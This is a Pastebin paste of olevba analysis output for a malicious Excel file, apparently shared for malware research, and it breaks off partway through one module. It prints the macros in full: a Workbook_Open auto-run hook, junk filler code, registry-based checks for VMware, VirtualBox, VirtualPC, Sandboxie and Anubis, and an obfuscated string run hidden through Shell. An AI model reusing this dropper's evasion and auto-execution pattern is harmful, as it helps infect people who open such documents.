SHARE
TWEET

Malicious Excel macro

dynamoo Mar 11th, 2015 240 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.25 - http://decalage.info/python/oletools
  2. Flags       Filename                                                        
  3. ----------- -----------------------------------------------------------------
  4. OLE:MASIHB- 89WDZ.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: 89WDZ.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub Workbook_Open()
  16. jhVKdsfjsd
  17. Dim siNQQVbL As Integer
  18. For siNQQVbL = 0 To 0
  19. If siNQQVbL = 5 Then End
  20. Next siNQQVbL
  21. Dim gJLryR As Integer
  22. For gJLryR = 0 To 0
  23. If gJLryR = 5 Then End
  24. Next gJLryR
  25. Dim wVKHBTQ As Integer
  26. For wVKHBTQ = 0 To 0
  27. If wVKHBTQ = 5 Then End
  28. Next wVKHBTQ
  29. End Sub
  30.  
  31.  
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33. ANALYSIS:
  34. +----------+---------------+----------------------------------------+
  35. | Type     | Keyword       | Description                            |
  36. +----------+---------------+----------------------------------------+
  37. | AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
  38. +----------+---------------+----------------------------------------+
  39. -------------------------------------------------------------------------------
  40. VBA MACRO Ëèñò1.cls
  41. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  42. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  43. (empty macro)
  44. -------------------------------------------------------------------------------
  45. VBA MACRO Ëèñò2.cls
  46. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  47. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  48. (empty macro)
  49. -------------------------------------------------------------------------------
  50. VBA MACRO Ëèñò3.cls
  51. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  52. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  53. (empty macro)
  54. -------------------------------------------------------------------------------
  55. VBA MACRO Class1.cls
  56. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class1'
  57. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  58.  
  59. Private Function nxNZiOiHENlXPUXVbjKuvaMDRZpscgBqooOqJ()
  60.  
  61. Dim vowYxIwMEb As Integer
  62. vowYxIwMEb = 8:
  63. Do While vowYxIwMEb < 30
  64.    DoEvents: vowYxIwMEb = vowYxIwMEb + 1
  65. Loop
  66.  
  67. If "dJaAtNalSZ" = "QyrtgazWfE" Then End
  68.  
  69. If "AmpntVcNOs" = "xVjrBLurmC" Then End
  70.  
  71. End Function
  72.  
  73. Private Function wwWyRnRgNmuWxtGnKCTUesVCHrYSLyKjXOwpr()
  74.  
  75. If "nMxiuRPuDk" = "vPUfDSsJTW" Then End
  76.  
  77. If "ukPPoRcGjy" = "FeNoQMyGCu" Then End
  78.  
  79. GoTo mwLNUsKqdd
  80. mwLNUsKqdd:
  81.  
  82. End Function
  83.  
  84. Private Sub HLrfpFRANaGDMdPHMPNTbJmnSEbQRhkUYsigg()
  85.  
  86. GoTo rAnNVQrNAd
  87. rAnNVQrNAd:
  88.  
  89. GoTo tnYTovaSSl
  90. tnYTovaSSl:
  91.  
  92. Dim ZdjYhXjSys As Long
  93. ZdjYhXjSys = "2076":
  94.  
  95. End Sub
  96.  
  97. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  98. ANALYSIS:
  99. No suspicious keyword or IOC found.
  100. -------------------------------------------------------------------------------
  101. VBA MACRO Class2.cls
  102. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class2'
  103. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  104.  
  105. Public Function jXOwprFSxuEcnYkHFkTBlFKvTIJyJMQkaFfeH()
  106.  
  107. GoTo XdDLNoKwea
  108. XdDLNoKwea:
  109.  
  110. Dim jLVjlsRIPb As Integer
  111. jLVjlsRIPb = 7:
  112. Do While jLVjlsRIPb < 16
  113.    DoEvents: jLVjlsRIPb = jLVjlsRIPb + 1
  114. Loop
  115.  
  116. Dim AOYnziviOL As Integer
  117. AOYnziviOL = 0:
  118. Do While AOYnziviOL < 11
  119.    DoEvents: AOYnziviOL = AOYnziviOL + 1
  120. Loop
  121.  
  122. GoTo PuxvbKRVva
  123. PuxvbKRVva:
  124.  
  125. If "zpTcgBRoPO" = "qJmQylltop" Then End
  126.  
  127. Dim mCBSMwrNUZ As Integer
  128. mCBSMwrNUZ = 8:
  129. Do While mCBSMwrNUZ < 26
  130.    DoEvents: mCBSMwrNUZ = mCBSMwrNUZ + 1
  131. Loop
  132.  
  133. GoTo KxCIWGvhqw
  134. KxCIWGvhqw:
  135.  
  136. GoTo mvUfxcfdjS
  137. mvUfxcfdjS:
  138.  
  139. Dim DEiuLQYBko As Integer
  140. DEiuLQYBko = 4:
  141. Do While DEiuLQYBko < 12
  142.    DoEvents: DEiuLQYBko = DEiuLQYBko + 1
  143. Loop
  144.  
  145. End Function
  146.  
  147. Public Sub ooOqJfJYlemOplxmCtrMWrNtyQQKDqCIPGohj()
  148.  
  149. GoTo uEcnyLOMrt
  150. uEcnyLOMrt:
  151.  
  152. Dim lMRWTIQZJT As Long
  153. lMRWTIQZJT = "4654":
  154.  
  155. Dim FfeHzWnvVD As Long
  156. FfeHzWnvVD = "146":
  157.  
  158. If "CoWskbcNBd" = "kpAgatHsrf" Then End
  159.  
  160. If "FYANaGDMkW" = "HTPNTbJtnS" Then End
  161.  
  162. Dim QRhrUYTJnn As Long
  163. QRhrUYTJnn = "8655":
  164.  
  165. If "EIXdDLNoKw" = "easjLVjlsR" Then End
  166.  
  167. If "PbbptAOYnz" = "iviOLUMXPu" Then End
  168.  
  169. GoTo bKRVvamjyz
  170. bKRVvamjyz:
  171.  
  172. End Sub
  173.  
  174. Private Sub hkUYsiggGIBEIQdDLGhdpetsjEOJelqIIbCPt()
  175.  
  176. Dim vhqwqpmvUf As Integer
  177. vhqwqpmvUf = 9:
  178. Do While vhqwqpmvUf < 14
  179.    DoEvents: vhqwqpmvUf = vhqwqpmvUf + 1
  180. Loop
  181.  
  182. GoTo jSsDEiuLQY
  183. jSsDEiuLQY:
  184.  
  185. Dim ojZXXwZrOr As Long
  186. ojZXXwZrOr = "4269":
  187.  
  188. GoTo uwYUgVKCAu
  189. uwYUgVKCAu:
  190.  
  191. Dim AVChyySlZK As Integer
  192. AVChyySlZK = 6:
  193. Do While AVChyySlZK < 28
  194.    DoEvents: AVChyySlZK = AVChyySlZK + 1
  195. Loop
  196.  
  197. Dim XQSFZxuEcn As Integer
  198. XQSFZxuEcn = 10:
  199. Do While XQSFZxuEcn < 30
  200.    DoEvents: XQSFZxuEcn = XQSFZxuEcn + 1
  201. Loop
  202.  
  203. Dim MrtalMRWTI As Integer
  204. MrtalMRWTI = 7:
  205. Do While MrtalMRWTI < 3
  206.    DoEvents: MrtalMRWTI = MrtalMRWTI + 1
  207. Loop
  208.  
  209. GoTo TQkaFfeHzW
  210. TQkaFfeHzW:
  211.  
  212. Dim vVDFGCoWsk As Long
  213. vVDFGCoWsk = "5896":
  214.  
  215. End Sub
  216.  
  217. Private Sub UesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKvT()
  218.  
  219. Dim UYTJnnmPBE As Integer
  220. UYTJnnmPBE = 3:
  221. Do While UYTJnnmPBE < 2
  222.    DoEvents: UYTJnnmPBE = UYTJnnmPBE + 1
  223. Loop
  224.  
  225. Dim DLNoKweasj As Integer
  226. DLNoKweasj = 10:
  227. Do While DLNoKweasj < 6
  228.    DoEvents: DLNoKweasj = DLNoKweasj + 1
  229. Loop
  230.  
  231. GoTo sRIPbbptAO
  232. sRIPbbptAO:
  233.  
  234. Dim nziviOLUMX As Integer
  235. nziviOLUMX = 8:
  236. Do While nziviOLUMX < 27
  237.    DoEvents: nziviOLUMX = nziviOLUMX + 1
  238. Loop
  239.  
  240. GoTo vbKRVvamjy
  241. vbKRVvamjy:
  242.  
  243. Dim pTcgBRoPOq As Integer
  244. pTcgBRoPOq = 8:
  245. Do While pTcgBRoPOq < 15
  246.    DoEvents: pTcgBRoPOq = pTcgBRoPOq + 1
  247. Loop
  248.  
  249. Dim ylltoplYmC As Integer
  250. ylltoplYmC = 6:
  251. Do While ylltoplYmC < 11
  252.    DoEvents: ylltoplYmC = ylltoplYmC + 1
  253. Loop
  254.  
  255. GoTo wrNUZqqKKx
  256. wrNUZqqKKx:
  257.  
  258. GoTo IWGvhqwqpm
  259. IWGvhqwqpm:
  260.  
  261. End Sub
  262.  
  263. Private Sub NlXPUXVbjKuvaMDRZpscgBqooOqJfJYlemOpl()
  264.  
  265. GoTo CAueAVChyy
  266. CAueAVChyy:
  267.  
  268. GoTo KqxOXQSFZx
  269. KqxOXQSFZx:
  270.  
  271. Dim EcnyLOMrta As Long
  272. EcnyLOMrta = "272":
  273.  
  274. Dim RWTIQZJTQk As Integer
  275. RWTIQZJTQk = 5:
  276. Do While RWTIQZJTQk < 19
  277.    DoEvents: RWTIQZJTQk = RWTIQZJTQk + 1
  278. Loop
  279.  
  280. Dim zWnvVDFGCo As Long
  281. zWnvVDFGCo = "5900":
  282.  
  283. Dim kbcNBdkpAg As Long
  284. kbcNBdkpAg = "1401":
  285.  
  286. If "HsrfwFYANa" = "GDMkWHTPNT" Then End
  287.  
  288. If "JtnSEbQRhr" = "UYTJnnmPBE" Then End
  289.  
  290. GoTo sjLVjlsRIP
  291. sjLVjlsRIP:
  292.  
  293. End Sub
  294.  
  295. Private Function TTHLrfpFRANaGDMdPHMPNTbJmnSEbQRhkUYsi()
  296.  
  297. Dim lYmCBSMwrN As Long
  298. lYmCBSMwrN = "4520":
  299.  
  300. Dim qqKKxCIWGv As Long
  301. qqKKxCIWGv = "2028":
  302.  
  303. If "wqpmvUfxcf" = "djSsDEiuLQ" Then End
  304.  
  305. Dim BkojZXXwZr As Long
  306. BkojZXXwZr = "3274":
  307.  
  308. Dim muwYUgVKCA As Integer
  309. muwYUgVKCA = 2:
  310. Do While muwYUgVKCA < 9
  311.    DoEvents: muwYUgVKCA = muwYUgVKCA + 1
  312. Loop
  313.  
  314. Dim VChyySlZKq As Integer
  315. VChyySlZKq = 6:
  316. Do While VChyySlZKq < 16
  317.    DoEvents: VChyySlZKq = VChyySlZKq + 1
  318. Loop
  319.  
  320. GoTo QSFZxuEcny
  321. QSFZxuEcny:
  322.  
  323. If "rtalMRWTIQ" = "ZJTQkaFfeH" Then End
  324.  
  325. Dim nvVDFGCoWs As Long
  326. nvVDFGCoWs = "8149":
  327.  
  328. End Function
  329.  
  330. Private Function TUesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKv()
  331.  
  332. If "hrUYTJnnmP" = "BEIXdDLNoK" Then End
  333.  
  334. GoTo IPbbptAOYn
  335. IPbbptAOYn:
  336.  
  337. Dim iOLUMXPuxv As Long
  338. iOLUMXPuxv = "4273":
  339.  
  340. Dim RVvamjyzpT As Integer
  341. RVvamjyzpT = 8:
  342. Do While RVvamjyzpT < 9
  343.    DoEvents: RVvamjyzpT = RVvamjyzpT + 1
  344. Loop
  345.  
  346. If "RoPOqJmQyl" = "ltoplYmCBS" Then End
  347.  
  348. If "rNUZqqKKxC" = "IWGvhqwqpm" Then End
  349.  
  350. If "UfxcfdjSsD" = "EiuLQYBkoj" Then End
  351.  
  352. If "XXwZrOrgUm" = "uwYUgVKCAu" Then End
  353.  
  354. Dim qxOXQSFZxu As Integer
  355. qxOXQSFZxu = 8:
  356. Do While qxOXQSFZxu < 8
  357.    DoEvents: qxOXQSFZxu = qxOXQSFZxu + 1
  358. Loop
  359.  
  360. End Function
  361.  
  362. Private Sub fQcfdjLSDEinLzhqBkhcSwwWyRnRgNmuWxtGn()
  363.  
  364. GoTo cNBdkpAgat
  365. cNBdkpAgat:
  366.  
  367. GoTo srfwFYANaG
  368. srfwFYANaG:
  369.  
  370. Dim MkWHTPNTbJ As Long
  371. MkWHTPNTbJ = "1275":
  372.  
  373. Dim SEbQRhrUYT As Long
  374. SEbQRhrUYT = "5649":
  375.  
  376. Dim mPBEIXdDLN As Integer
  377. mPBEIXdDLN = 1:
  378. Do While mPBEIXdDLN < 9
  379.    DoEvents: mPBEIXdDLN = mPBEIXdDLN + 1
  380. Loop
  381.  
  382. If "easjLVjlsR" = "IPbbptAOYn" Then End
  383.  
  384. Dim JmQylltopl As Long
  385. JmQylltopl = "895":
  386.  
  387. Dim BSMwrNUZqq As Long
  388. BSMwrNUZqq = "9270":
  389.  
  390. If "xCIWGvhqwq" = "pmvUfxcfdj" Then End
  391.  
  392. End Sub
  393.  
  394. Private Sub jKuvaMDRZpscgBqooOqJfJYlemOplxmCtrMWr()
  395.  
  396. GoTo yySlZKqxOX
  397. yySlZKqxOX:
  398.  
  399. Dim SFZxuEcnyL As Integer
  400. SFZxuEcnyL = 2:
  401. Do While SFZxuEcnyL < 15
  402.    DoEvents: SFZxuEcnyL = SFZxuEcnyL + 1
  403. Loop
  404.  
  405. GoTo talMRWTIQZ
  406. talMRWTIQZ:
  407.  
  408. Dim atHsrfwFYA As Integer
  409. atHsrfwFYA = 3:
  410. Do While atHsrfwFYA < 9
  411.    DoEvents: atHsrfwFYA = atHsrfwFYA + 1
  412. Loop
  413.  
  414. GoTo tnSEbQRhrU
  415. tnSEbQRhrU:
  416.  
  417. Dim JnnmPBEIXd As Long
  418. JnnmPBEIXd = "7522":
  419.  
  420. Dim NoKweasjLV As Long
  421. NoKweasjLV = "4528":
  422.  
  423. Dim YnziviOLUM As Integer
  424. YnziviOLUM = 10:
  425. Do While YnziviOLUM < 1
  426.    DoEvents: YnziviOLUM = YnziviOLUM + 1
  427. Loop
  428.  
  429. Dim xvbKRVvamj As Integer
  430. xvbKRVvamj = 6:
  431. Do While xvbKRVvamj < 3
  432.    DoEvents: xvbKRVvamj = xvbKRVvamj + 1
  433. Loop
  434.  
  435. End Sub
  436.  
  437. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  438. ANALYSIS:
  439. No suspicious keyword or IOC found.
  440. -------------------------------------------------------------------------------
  441. VBA MACRO Class3.cls
  442. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class3'
  443. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  444.  
  445. Private Function bJmnSEbQRhkUYsiggGIBEIQdDLGhdpetsjEOJ()
  446.  
  447. Dim qqKKxCIWGv As Long
  448. qqKKxCIWGv = "2028":
  449.  
  450. If "wqpmvUfxcf" = "djSsDEiuLQ" Then End
  451.  
  452. Dim BkojZXXwZr As Long
  453. BkojZXXwZr = "3274":
  454.  
  455. Dim muwYUgVKCA As Integer
  456. muwYUgVKCA = 2:
  457. Do While muwYUgVKCA < 9
  458.    DoEvents: muwYUgVKCA = muwYUgVKCA + 1
  459. Loop
  460.  
  461. End Function
  462.  
  463. Public Sub rNtyQQKDqCIPGohjwqPMVtfQcfdjLSDEinLzh()
  464.  
  465. GoTo QkaFfeHzWn
  466. QkaFfeHzWn:
  467.  
  468. Dim VDFGCoWskb As Long
  469. VDFGCoWskb = "8643":
  470.  
  471. If "BdkpAgatHs" = "rfwFYANaGD" Then End
  472.  
  473. Dim kWHTPNTbJt As Integer
  474. kWHTPNTbJt = 1:
  475. Do While kWHTPNTbJt < 22
  476.    DoEvents: kWHTPNTbJt = kWHTPNTbJt + 1
  477. Loop
  478.  
  479. End Sub
  480.  
  481. Private Function vTIJyJMQkaFfeHsvZoVuDFGCovSkbcmBdKiAg()
  482.  
  483. Dim tAOYnziviO As Integer
  484. tAOYnziviO = 6:
  485. Do While tAOYnziviO < 21
  486.    DoEvents: tAOYnziviO = tAOYnziviO + 1
  487. Loop
  488.  
  489. Dim XPuxvbKRVv As Long
  490. XPuxvbKRVv = "3023":
  491.  
  492. If "jyzpTcgBRo" = "POqJmQyllt" Then End
  493.  
  494. GoTo plYmCBSMwr
  495. plYmCBSMwr:
  496.  
  497. End Function
  498.  
  499. Private Sub elqIIbCPtznxNZiOiHENlXPUXVbjKuvaMDRZp()
  500.  
  501. Dim jZXXwZrOrg As Integer
  502. jZXXwZrOrg = 4:
  503. Do While jZXXwZrOrg < 26
  504.    DoEvents: jZXXwZrOrg = jZXXwZrOrg + 1
  505. Loop
  506.  
  507. Dim wYUgVKCAue As Integer
  508. wYUgVKCAue = 3:
  509. Do While wYUgVKCAue < 27
  510.    DoEvents: wYUgVKCAue = wYUgVKCAue + 1
  511. Loop
  512.  
  513. If "hyySlZKqxO" = "XQSFZxuEcn" Then End
  514.  
  515. Dim LOMrtalMRW As Integer
  516. LOMrtalMRW = 4:
  517. Do While LOMrtalMRW < 20
  518.    DoEvents: LOMrtalMRW = LOMrtalMRW + 1
  519. Loop
  520.  
  521. End Sub
  522.  
  523. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  524. ANALYSIS:
  525. No suspicious keyword or IOC found.
  526. -------------------------------------------------------------------------------
  527. VBA MACRO Class4.cls
  528. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class4'
  529. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  530.  
  531. Private Sub uEcnYkHFkTBlFKvTIJyJMQkaFfeHsvZoVuDFG()
  532.  
  533. Dim CuLmwLNUsK As Integer
  534. CuLmwLNUsK = 2:
  535. Do While CuLmwLNUsK < 19
  536.    DoEvents: CuLmwLNUsK = CuLmwLNUsK + 1
  537. Loop
  538.  
  539. End Sub
  540.  
  541. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  542. ANALYSIS:
  543. No suspicious keyword or IOC found.
  544. -------------------------------------------------------------------------------
  545. VBA MACRO Class5.cls
  546. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class5'
  547. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  548.  
  549. Public Function xmCtrMWrNtyQQKDqCIPGohjwqPMVtfQcfdjLS()
  550.  
  551. Dim xVjrBLurmC As Integer
  552. xVjrBLurmC = 9:
  553. Do While xVjrBLurmC < 24
  554.    DoEvents: xVjrBLurmC = xVjrBLurmC + 1
  555. Loop
  556.  
  557. End Function
  558.  
  559. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  560. ANALYSIS:
  561. No suspicious keyword or IOC found.
  562. -------------------------------------------------------------------------------
  563. VBA MACRO dfsdf.bas
  564. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/dfsdf'
  565. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  566.  
  567.  
  568.  Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
  569.  Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long
  570.  Private Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long
  571.  Const HKEY_LOCAL_MACHINE = &H80000002
  572.  
  573.  Public Function IsVirtualPCPresent() As Long
  574.  Dim lhKey As Long
  575.  Dim sBuffer As String
  576.  Dim lLen As Long
  577.  If RegOpenKeyEx(&H80000002, "SYSTEM\ControlSet001\Services\Disk\Enum", _
  578.  0, &H20019, lhKey) = 0 Then
  579.  sBuffer = Space$(255): lLen = 255
  580.  If RegQueryValueEx(lhKey, "0", 0, 1, ByVal sBuffer, lLen) = 0 Then
  581.  sBuffer = UCase(Left$(sBuffer, lLen - 1))
  582.  Select Case True
  583.  Case sBuffer Like "*VIRTUAL*": IsVirtualPCPresent = 1
  584.  Case sBuffer Like "*VMWARE*": IsVirtualPCPresent = 2
  585.  Case sBuffer Like "*VBOX*": IsVirtualPCPresent = 3
  586.  If IsVirtualPCPresent = 1 Or 2 Or 3 Then End
  587.  End Select
  588.  End If
  589.  Call RegCloseKey(lhKey)
  590.  End If
  591.  End Function
  592. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  593. ANALYSIS:
  594. +------------+----------------+-----------------------------------------+
  595. | Type       | Keyword        | Description                             |
  596. +------------+----------------+-----------------------------------------+
  597. | Suspicious | Lib            | May run code from a DLL                 |
  598. | Suspicious | Hex Strings    | Hex-encoded strings were detected, may  |
  599. |            |                | be used to obfuscate strings (option    |
  600. |            |                | --decode to see all)                    |
  601. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  602. |            |                | may be used to obfuscate strings        |
  603. |            |                | (option --decode to see all)            |
  604. +------------+----------------+-----------------------------------------+
  605. -------------------------------------------------------------------------------
  606. VBA MACRO load.bas
  607. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/load'
  608. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  609.  Sub jhVKdsfjsd()
  610.     If IsSandBoxiePresent(1) = True Then End
  611.     If IsAnubisPresent(1) = True Then End
  612.     If IsVirtualPCPresent = True Then End
  613. oPOJidsf = MkSrpQP("ÐÝÌg…š‡¹ß߬ȢÏÒÜÔu»Ç̍˜¶¬Í|¶ÏÚͪÊoºæãܬÃ}µÒä–ž»±ªÙÙ͵Êx•±ßߵ¾ÈѶѳ»wŽÕäÜ·~–¡¦–z†}›Ÿž™~~ÈàÔÞ¿…µÎÕã–·¾¿Ž™—››œ·’Ì̺¼Â˳¶®½„²ÈÏ—‘‚v´ßÝÑÖ«vt»²½¸l²³ÚÓã̍œ•Ý›ÓÉ©vt»²½¸l²³ÚÓã̍œ•Ý›Õ଑oÚáÑÚ»vt»²½¸l²³ÚÓã̍œ•Ý›Õ଑", "mphGVOgi")
  614.  
  615. Dim wfSoeUjt As Integer
  616. For wfSoeUjt = 0 To 0
  617. If wfSoeUjt = 5 Then End
  618. Next wfSoeUjt
  619. Dim tNhbQ As Integer
  620. For tNhbQ = 0 To 0
  621. If tNhbQ = 5 Then End
  622. Next tNhbQ
  623. Shell oPOJidsf, 0
  624. Dim stahzHxdYZQ As Integer
  625. For stahzHxdYZQ = 0 To 0
  626. If stahzHxdYZQ = 5 Then End
  627. Next stahzHxdYZQ
  628.     End Sub
  629.  
  630. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  631. ANALYSIS:
  632. +------------+----------------+-----------------------------------------+
  633. | Type       | Keyword        | Description                             |
  634. +------------+----------------+-----------------------------------------+
  635. | Suspicious | Shell          | May run an executable file or a system  |
  636. |            |                | command                                 |
  637. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  638. |            |                | may be used to obfuscate strings        |
  639. |            |                | (option --decode to see all)            |
  640. +------------+----------------+-----------------------------------------+
  641. -------------------------------------------------------------------------------
  642. VBA MACRO Module1.bas
  643. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  644. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  645. Private Sub gbwEJaatNBMSZQyrtgBZWfEpampntVcNOsxVj()
  646.  
  647. Dim VpfKKjMeBe As Long
  648. VpfKKjMeBe = "4141":
  649.  
  650. If "ojLHtBXPGh" = "rGIPuFlFyM" Then End
  651.  
  652. Dim kBKDFSFkhR As Long
  653. kBKDFSFkhR = "6144":
  654.  
  655. Dim lYUSYgnysX As Integer
  656. lYUSYgnysX = 9:
  657. Do While lYUSYgnysX < 19
  658.    DoEvents: lYUSYgnysX = lYUSYgnysX + 1
  659. Loop
  660.  
  661. If "WMWZDxnSsr" = "UfJmCiIQST" Then End
  662.  
  663. GoTo bJfxopAOqx
  664. bJfxopAOqx:
  665.  
  666. End Sub
  667.  
  668. Public Sub sKqddRVCpzPbKXkQNWnyqWZXDlTwxcOlabrue()
  669.  
  670. If "ttTvORVDqQ" = "YTuqDrgfwR" Then End
  671.  
  672. If "wryEVVoocg" = "NBLamvbvUR" Then End
  673.  
  674. Dim ZKChkioXxI As Long
  675. ZKChkioXxI = "7641":
  676.  
  677. If "zQemcGptOE" = "bCBdWsWlyr" Then End
  678.  
  679. Dim bcyLlHFZje As Long
  680. bcyLlHFZje = "1896":
  681.  
  682. Dim MddXQdPVcT As Long
  683. MddXQdPVcT = "6018":
  684.  
  685. End Sub
  686.  
  687. Public Function rtgBZWfEpampntVcNOsxVjrBLurmcHHgJbxbq()
  688.  
  689. Dim jLHtBXPGhr As Long
  690. jLHtBXPGhr = "2393":
  691.  
  692. Dim PuFlFyMXwk As Long
  693. PuFlFyMXwk = "6265":
  694.  
  695. GoTo DFSFkhRpal
  696. DFSFkhRpal:
  697.  
  698. If "SYgnysXJGV" = "WMWZDxnSsr" Then End
  699.  
  700. Dim JmCiIQSTPb As Long
  701. JmCiIQSTPb = "5772":
  702.  
  703. If "pAOqxvNtgg" = "UyescSENAn" Then End
  704.  
  705. End Function
  706.  
  707. Private Function QNWnyqWZXDlTwxcOlabrueiDsqqpSLOranNVQ()
  708.  
  709. Dim rgfwRBwryE As Integer
  710. rgfwRBwryE = 7:
  711. Do While rgfwRBwryE < 27
  712.    DoEvents: rgfwRBwryE = rgfwRBwryE + 1
  713. Loop
  714.  
  715. GoTo cgNBLamvbv
  716. cgNBLamvbv:
  717.  
  718. Dim RaZKChkioX As Long
  719. RaZKChkioX = "7273":
  720.  
  721. If "inzQemcGpt" = "OEbCBdWsWl" Then End
  722.  
  723. GoTo rzbcyLlHFZ
  724. rzbcyLlHFZ:
  725.  
  726. Dim eAHMddXQdP As Integer
  727. eAHMddXQdP = 5:
  728. Do While eAHMddXQdP < 29
  729.    DoEvents: eAHMddXQdP = eAHMddXQdP + 1
  730. Loop
  731.  
  732. End Function
  733.  
  734. Public Function QyrtgBZWfEpampntVcNOsxVjrBLurmcHHgJbx()
  735.  
  736. Dim XwkBKDFSFk As Integer
  737. XwkBKDFSFk = 4:
  738. Do While XwkBKDFSFk < 6
  739.    DoEvents: XwkBKDFSFk = XwkBKDFSFk + 1
  740. Loop
  741.  
  742. Dim alYUSYgnys As Long
  743. alYUSYgnys = "888":
  744.  
  745. If "VWMWZDxnSs" = "rUfJmCiIQS" Then End
  746.  
  747. GoTo vNtggUyesc
  748. vNtggUyesc:
  749.  
  750. Dim ENAnTQZqCU As Long
  751. ENAnTQZqCU = "2268":
  752.  
  753. GoTo AGoWAaFRoD
  754. AGoWAaFRoD:
  755.  
  756. End Function
  757.  
  758. Public Function brueiDsqqpSLOranNVQrnAoEDtOYTovBSSllZ()
  759.  
  760. GoTo LamvbvURaZ
  761. LamvbvURaZ:
  762.  
  763. Dim ChkioXxIin As Integer
  764. ChkioXxIin = 1:
  765. Do While ChkioXxIin < 21
  766.    DoEvents: ChkioXxIin = ChkioXxIin + 1
  767. Loop
  768.  
  769. GoTo mcGptOEbCB
  770. mcGptOEbCB:
  771.  
  772. Dim WsWlyrzbcy As Integer
  773. WsWlyrzbcy = 1:
  774. Do While WsWlyrzbcy < 22
  775.    DoEvents: WsWlyrzbcy = WsWlyrzbcy + 1
  776. Loop
  777.  
  778. Dim FZjeAHMddX As Long
  779. FZjeAHMddX = "8268":
  780.  
  781. If "PVcTbuwjdc" = "ziHsdpsqwY" Then End
  782.  
  783. End Function
  784.  
  785. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  786. ANALYSIS:
  787. No suspicious keyword or IOC found.
  788. -------------------------------------------------------------------------------
  789. VBA MACRO Module2.bas
  790. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  791. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  792. Private Function fGTxESCRdmSmLIRpbTYbZfnOyzeQHVdtwgkFV()
  793.  
  794. Dim HLncVDFgCo As Long
  795. HLncVDFgCo = "5898":
  796.  
  797. Dim kicNIdkpHH As Long
  798. kicNIdkpHH = "1398":
  799.  
  800. If "HsyGwFYANh" = "GDMkWHTWUA" Then End
  801.  
  802. GoTo UuZEbqYhrB
  803. UuZEbqYhrB:
  804.  
  805. Dim TJnnNpIeIX As Long
  806. TJnnNpIeIX = "5651":
  807.  
  808. Dim lNokXeaTjL As Integer
  809. lNokXeaTjL = 1:
  810. Do While lNokXeaTjL < 14
  811.    DoEvents: lNokXeaTjL = lNokXeaTjL + 1
  812. Loop
  813.  
  814. Dim YiPiCpaAOF As Long
  815. YiPiCpaAOF = "9154":
  816.  
  817. If "iviOLuTEPb" = "xvbKrCWamK" Then End
  818.  
  819. End Function
  820.  
  821. Private Sub MNdNQUoeJjiLwAdsZyHJKGsaWofgqFhOmEkXX()
  822.  
  823. If "wGvhqdRwtc" = "UfxcfEjSzd" Then End
  824.  
